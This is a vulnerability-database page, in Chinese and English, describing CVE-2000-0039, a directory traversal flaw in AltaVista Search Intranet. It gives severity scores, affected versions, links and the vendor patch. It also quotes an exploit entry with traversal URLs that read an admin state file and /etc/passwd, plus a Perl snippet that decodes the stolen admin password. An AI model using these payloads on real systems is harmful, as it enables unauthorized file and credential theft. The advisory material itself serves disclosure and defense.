CVE-2000-0039
CVSS5.0
发布时间 :1999-12-29 00:00:00
修订时间 :2008-09-10 15:02:24
NMCOE    

[原文]AltaVista search engine allows remote attackers to read files above the document root via a .. (dot dot) in the query.cgi CGI program.


[CNNVD]AltaVista搜索引擎目录遍历漏洞(CNNVD-199912-102)

        query.cgi CGI 项目中存在AltaVista搜索引擎目录遍历漏洞,远程攻击者借助a .. (dot dot)读取文档根以上的文件。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:altavista:search_intranet:2.3a
cpe:/a:altavista:search_intranet:2.0b

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0039
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0039
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199912-102
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/896
(UNKNOWN)  BID  896
http://www.osvdb.org/15
(UNKNOWN)  OSVDB  15

- 漏洞信息

AltaVista搜索引擎目录遍历漏洞
中危 输入验证
1999-12-29 00:00:00 2005-05-02 00:00:00
远程※本地  
        query.cgi CGI 项目中存在AltaVista搜索引擎目录遍历漏洞,远程攻击者借助a .. (dot dot)读取文档根以上的文件。

- 公告与补丁

        AltaVista has released a patch for this issue, available at:
        http://doc.altavista.com/business_solutions/search_products/free_downloads/search_intranet.shtml
        It is under the 'patches' heading, and is called:
        AltaVista Search Intranet V2.3A Security Patch 12/99

- 漏洞信息 (19694)

AltaVista Search Intranet 2.0 b/2.3 A Directory Traversal Vulnerability (EDBID:19694)
unix remote
1999-12-29 Verified
0 Rudi Carell
N/A [点击下载]
source: http://www.securityfocus.com/bid/896/info

The AltaVista Search engine sets up a webserver at port 9000 to listen for search queries. The main search function will accept a single '../' string in the query, providing access to all documents in the 'http' directory one level up. These documents contain various administrative information, including the password for the remote administration utility. The password is base-64 encoded, and can be easily restored to plaintext to give an attacker full remote administration abilities for the search engine. The webserver will accept multiple '../' strings if they are hex encoded, ie '%2e%2e%2f'.

http://target:9000/cgi-bin/query?mss=../logs/mgtstate
(to get the mgtstate file.)

#!/usr/bin/perl
use MIME::Base64;
print decode_base64("$ARGV[0]"), "\n";
(to unencode the username/password)

http://target:9000/cgi-bin/mgt
and enter the username/password to access the remote administration features

or
http://target:9000/cgi-bin/query?mss=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
to get the password file on a unix system		

- 漏洞信息

15
AltaVista Intranet Search CGI query Traversal Arbitrary File Access
Remote / Network Access Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

AltaVista Intranet Search CGI contains a flaw that allows a remote attacker to read arbitrary files outside of the web path. The issue is due to the "query" not properly sanitizing user input, specifically traversal style attacks (../../) supplied via the "mss" variable.

- 时间线

1999-12-29 Unknow
1999-12-29 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Altavista has released a patch (V2.3A) to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

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